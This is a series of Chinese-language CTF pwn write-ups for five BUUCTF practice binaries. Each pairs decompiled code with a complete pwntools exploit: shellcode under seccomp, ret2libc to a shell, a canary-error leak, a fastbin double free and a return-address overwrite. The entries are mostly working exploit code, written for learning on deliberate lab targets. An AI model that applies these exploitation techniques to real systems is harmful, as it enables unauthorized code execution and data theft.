[极客大挑战 2019]Not Bad
__int64 sub_400949()
{
__int64 v1; // [rsp+8h] [rbp-8h]
v1 = seccomp_init(0LL);
seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
return seccomp_load(v1);
}
int sub_400A16()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("Easy shellcode, have fun!");
read(0, buf, 0x38uLL);
return puts("Baddd! Focu5 me! Baddd! Baddd!");
}
有限长度shellcode, 栈可执行有沙箱, 允许read, write, open操作
检查内存区域的权限
发现存在可写可执行的mmap申请区域且有jmp rsp
, 这里buf长度有限的情况下用jmp rsp跳转到shellcode执行
from pwn import *
# from LibcSearcher import *
url, port = "node4.buuoj.cn", 28170
filename = "./bad"
elf = ELF(filename)
# libc = ELF("./")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-v']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
wx_stack = 0x123000
jmp_rsp_addr = 0x0000000000400A01
payload = asm(shellcraft.read(0, wx_stack, 0x200)) + asm('mov rax,0x123000;call rax;')
payload = payload.ljust(0x28, b'\x00')
payload += p64(jmp_rsp_addr) + asm('sub rsp,0x30;jmp rsp;')
io.sendafter('have fun!', payload)
payload = asm(shellcraft.open('./flag') + shellcraft.read(3, wx_stack + 0x200, 0x30))
payload += asm(shellcraft.write(1, wx_stack + 0x200, 0x30))
io.send(payload)
if __name__ == "__main__":
pwn()
io.interactive()
cmcc_pwnme1
cmcc_pwnme1(master*)$ file pwnme1;checksec pwnme1
pwnme1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.15, BuildID[sha1]=d2a89c055176b3b4fc229df758c8cf02fe92cbd3, not stripped
[*] '/home/pwn/桌面/cmcc_pwnme1/pwnme1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
int getfruit()
{
char v1[164]; // [esp+14h] [ebp-A4h] BYREF
fflush(stdout);
printf("Please input the name of fruit:");
__isoc99_scanf("%s", v1);
return printf("oh,%s...\n", v1);
}
还有个后门
int getflag()
{
char s[120]; // [esp+14h] [ebp-84h] BYREF
FILE *stream; // [esp+8Ch] [ebp-Ch]
puts("Yeah, you got it...");
stream = fopen("/home/flag", "r");
if ( !stream )
perror("/home/flag");
fgets(s, 120, stream);
puts(s);
fclose(stream);
return 1;
}
想怎么打怎么打
from pwn import *
from LibcSearcher import *
url, port = "node4.buuoj.cn", 25124
filename = "./pwnme1"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-v']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
io.sendlineafter('>> 6. Exit \n', '5')
getflag_addr = elf.sym['getflag']
payload = cyclic(0xA4 + 4) + p32(getflag_addr)
io.sendafter('the name of fruit:', payload)
if __name__ == "__main__":
pwn()
io.interactive()
BUU基操, flag不在/home下
直接ret2libc getshell
from pwn import *
# from LibcSearcher import *
url, port = "node4.buuoj.cn", 25124
filename = "./pwnme1"
elf = ELF(filename)
libc = ELF("./libc_x86-2.23.so")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-v']
# gdb.attach(io)
else:
context.log_level="debug"
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']
payload = cyclic(0xA4 + 4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
io.sendlineafter('>> 6. Exit \n', '5')
io.sendlineafter('Please input the name of fruit:', payload)
puts_addr = u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
log.info('puts address: %#x', puts_addr)
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload = cyclic(0xA4 + 4) + p32(system_addr) + p32(main_addr) + p32(binsh_addr)
io.sendlineafter('>> 6. Exit \n', '5')
io.sendlineafter('Please input the name of fruit:', payload)
if __name__ == "__main__":
pwn()
io.interactive()
wdb2018_guess
wdb2018_guess(master*)$ file GUESS; checksec GUESS
GUESS: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=30601cc01c05a63af25ec5af8444b9fca2344dba, stripped
[*] '/home/pwn/桌面/wdb2018_guess/GUESS'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch] BYREF
__int64 v6; // [rsp+20h] [rbp-80h]
__int64 v7; // [rsp+28h] [rbp-78h]
char buf[48]; // [rsp+30h] [rbp-70h] BYREF
char s2[56]; // [rsp+60h] [rbp-40h] BYREF
unsigned __int64 v10; // [rsp+98h] [rbp-8h]
v10 = __readfsqword(0x28u);
v7 = 3LL;
LODWORD(stat_loc.__uptr) = 0;
v6 = 0LL;
sub_4009A6(a1, a2, a3);
HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0);
if ( HIDWORD(stat_loc.__iptr) == -1 )
{
perror("./flag.txt");
_exit(-1);
}
read(SHIDWORD(stat_loc.__iptr), buf, 0x30uLL);
close(SHIDWORD(stat_loc.__iptr));
puts("This is GUESS FLAG CHALLENGE!");
while ( 1 )
{
if ( v6 >= v7 )
{
puts("you have no sense... bye :-) ");
return 0LL;
}
if ( !(unsigned int)sub_400A11() )
break;
++v6;
wait((__WAIT_STATUS)&stat_loc);
}
puts("Please type your guessing flag");
gets(s2);
if ( !strcmp(buf, s2) )
puts("You must have great six sense!!!! :-o ");
else
puts("You should take more effort to get six sence, and one more challenge!!");
return 0LL;
}
canary报错利用, canary被覆盖之后会打印__libc_argv[0]
指向的字符串
所以间接有个任意读的能力, 可以泄露puts@got, 泄露libc, 然后泄露environ得到栈地址, 最后泄露buf得到flag
找到指针到输入字符串之间的偏移量为0xe088 - 0xdf60 = 0x128, 这里要patchelf到2.23版本, 其他版本偏移量会有一定差异
调试确定environ到flag的偏移, 大版本一般不会有出入, 偏移量一定
偏移为0xe098 - 0xdf30 = 0x168
from pwn import *
from LibcSearcher import *
url, port = "node4.buuoj.cn", 26857
filename = "./GUESS"
elf = ELF(filename)
libc = ELF("./libc_x64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-v']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
puts_got = elf.got['puts']
payload = cyclic(0x128) + p64(puts_got)
io.sendlineafter('Please type your guessing flag', payload)
io.recvuntil('stack smashing detected ***: ')
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
log.info('puts address: %#x', puts_addr)
libc_base = puts_addr - libc.sym['puts']
environ_addr = libc_base + libc.sym['__environ']
log.info('environ_addr: %#x', environ_addr)
payload = cyclic(0x128) + p64(environ_addr)
io.sendlineafter('Please type your guessing flag', payload)
io.recvuntil('stack smashing detected ***: ')
stack_addr = u64(io.recv(6).ljust(8, b'\x00'))
log.info('stack address: %#x', stack_addr)
flag_addr = stack_addr - 0x168
payload = cyclic(0x128) + p64(flag_addr)
io.sendlineafter('Please type your guessing flag', payload)
if __name__ == "__main__":
pwn()
io.interactive()
gyctf_2020_some_thing_exceting
gyctf_2020_some_thing_exceting(master*)$ file gyctf_2020_some_thing_exceting;checksec gyctf_2020_some_thing_exceting
gyctf_2020_some_thing_exceting: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e091f2bc09a19fd73b0549031fc9b03983dd1756, stripped
[*] '/home/pwn/桌面/gyctf_2020_some_thing_exceting/gyctf_2020_some_thing_exceting'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
void __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
v3 = 0;
sub_400896(a1, a2, a3);
sub_400939();
while ( 1 )
{
printf("> Now please tell me what you want to do :");
_isoc99_scanf("%d", &v3);
switch ( v3 )
{
case 1:
Create();
break;
case 2:
GG();
case 3:
Delete();
break;
case 4:
Show();
break;
case 5:
goodbye();
default:
puts("Emmmmmm!Maybe you want Fool me!");
goodbye();
}
}
}
大概的功能就是create, delete, show
create
unsigned __int64 sub_4009EC()
{
size_t nbytes; // [rsp+Ch] [rbp-24h] BYREF
int i; // [rsp+14h] [rbp-1Ch]
void *buf; // [rsp+18h] [rbp-18h]
void *v4; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts("#######################");
puts("# Create Banana #");
puts("#---------------------#");
for ( i = 0; i <= 9 && *(&ptr + i); ++i )
{
if ( i == 9 )
{
puts("# so much banana! #");
puts("#######################");
return __readfsqword(0x28u) ^ v5;
}
}
*(&ptr + i) = malloc(0x10uLL);
printf("> ba's length : ");
_isoc99_scanf("%d", &nbytes);
if ( (int)nbytes <= 0 || (int)nbytes > 112 )
{
puts("Emmmmmm!Maybe you want Fool me!");
goodbye();
}
buf = malloc((int)nbytes);
printf("> ba : ");
read(0, buf, (unsigned int)nbytes);
printf("> na's length : ");
_isoc99_scanf("%d", (char *)&nbytes + 4);
if ( SHIDWORD(nbytes) <= 0 || SHIDWORD(nbytes) > 112 )
{
puts("Emmmmmm!Maybe you want Fool me!");
goodbye();
}
printf("> na : ");
v4 = malloc(SHIDWORD(nbytes));
read(0, v4, HIDWORD(nbytes));
*(_QWORD *)*(&ptr + i) = buf;
*((_QWORD *)*(&ptr + i) + 1) = v4;
puts("#---------------------#");
puts("# ALL Down! #");
puts("#######################");
return __readfsqword(0x28u) ^ v5;
}
create生成的数据结构是
struct PTR {
char* ba; // limited length 1 to 112
char* na; // limited length 1 to 112
};
PTR* ptr; // 0x10 chunk pointer which points to 2 pointers ba and na
delete
unsigned __int64 sub_400C24()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("#######################");
puts("# Delete Banana #");
puts("#---------------------#");
printf("> Banana ID : ");
_isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > 10 || !*(&ptr + v1) )
{
puts("Emmmmmm!Maybe you want Fool me!");
goodbye();
}
free(*(void **)*(&ptr + v1));
free(*((void **)*(&ptr + v1) + 1));
free(*(&ptr + v1));
puts("#---------------------#");
puts("# ALL Down! #");
puts("#######################");
return __readfsqword(0x28u) ^ v2;
}
指针free后没有置零, 存在悬空指针, 导致UAF漏洞
show
unsigned __int64 sub_400D2E()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("#######################");
puts("# Delete Banana #");
puts("#---------------------#");
printf("> Banana ID : ");
printf("> SCP project ID : ");
_isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > 10 || !*(&ptr + v1) )
{
puts("Emmmmmm!Maybe you want Fool me!");
goodbye();
}
printf("# Banana's ba is %s\n", *(const char **)*(&ptr + v1));
printf("# Banana's na is %s\n", *((const char **)*(&ptr + v1) + 1));
puts("#---------------------#");
puts("# ALL Down! #");
puts("#######################");
return __readfsqword(0x28u) ^ v2;
}
flag在程序里是直接读取到bss段的s字符串处, 看到这里存在大小为96的fake chunk
所以采取fastbin attack, 在0x6020A0处申请出fake chunk(准确来说是0x602098处, 因为chunk header包括pre size和size, 所以需要前移0x8的地址), show就能打印flag
from pwn import *
# from LibcSearcher import *
url, port = "node4.buuoj.cn", 28722
filename = "./gyctf_2020_some_thing_exceting"
elf = ELF(filename)
libc = ELF("./libc_x64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-v']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def Add(size1, content1, size2, content2):
io.sendlineafter('> Now please tell me what you want to do :', '1')
io.sendlineafter('length : ', str(size1))
io.sendlineafter('> ba : ', content1)
io.sendlineafter('length : ', str(size2))
io.sendlineafter('> na : ', content2)
def Delete(index):
io.sendlineafter('to do :', '3')
io.sendlineafter('Banana ID : ', str(index))
def Show(index):
io.sendlineafter('to do :', '4')
io.sendlineafter('project ID : ', str(index))
def pwn():
fake_chunk_addr = 0x602098
Add(0x50, 'chunk0', 0x50, 'chunk1') # 0
Add(0x50, 'chunk2', 0x50, 'chunk3') # 1
Delete(0)
Delete(1)
Delete(0)
Add(0x50, p64(fake_chunk_addr), 0x50, 'chunk1_new') # 2
Add(0x50, 'chunk2_new', 0x50, 'chunk3_new') # 3
Add(0x50, 'flag', 0x30, 'anything whatever') # 4
Show(4)
if __name__ == "__main__":
pwn()
io.interactive()
wustctf2020_name_your_cat
wustctf2020_name_your_cat(master*)$ file wustctf2020_name_your_cat;checksec wustctf2020_name_your_cat
wustctf2020_name_your_cat: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=094efce6cb328adfe1f2f1dbfa7d38182182e064, not stripped
[*] '/home/pwn/桌面/wustctf2020_name_your_cat/wustctf2020_name_your_cat'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
unsigned int vulnerable()
{
int i; // [esp+Ch] [ebp-3Ch]
int v2; // [esp+10h] [ebp-38h]
char v3[40]; // [esp+14h] [ebp-34h] BYREF
unsigned int v4; // [esp+3Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
puts("I bought you five famale cats.Name for them?");
for ( i = 1; i <= 5; ++i )
{
v2 = NameWhich(v3);
printf("You get %d cat!!!!!!\nlemonlemonlemonlemonlemonlemonlemon5555555\n", i);
printf("Her name is:%s\n\n", &v3[8 * v2]);
}
return __readgsdword(0x14u) ^ v4;
}
int __cdecl NameWhich(int a1)
{
int v2[4]; // [esp+18h] [ebp-10h] BYREF
v2[1] = __readgsdword(0x14u);
printf("Name for which?\n>");
__isoc99_scanf("%d", v2);
printf("Give your name plz: ");
__isoc99_scanf("%7s", 8 * v2[0] + a1);
return v2[0];
}
这个函数负责输入name, 但是处理数目时没有检查是否小于5, 所以导致任意地址写6个字节, 可以把ret address劫持到后门函数shell
即可get shell
偏移为0x38, 除以8得到7
from pwn import *
# from LibcSearcher import *
url, port = "node4.buuoj.cn", 25493
filename = "./wustctf2020_name_your_cat"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-v']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
shell_addr = 0x080485CB
for i in range(1, 5):
io.sendlineafter('Name for which?\n>', str(i))
io.sendlineafter("Give your name plz: ", str(i))
io.sendlineafter('Name for which?\n>', '7')
io.sendlineafter("Give your name plz: ", p32(shell_addr))
if __name__ == "__main__":
pwn()
io.interactive()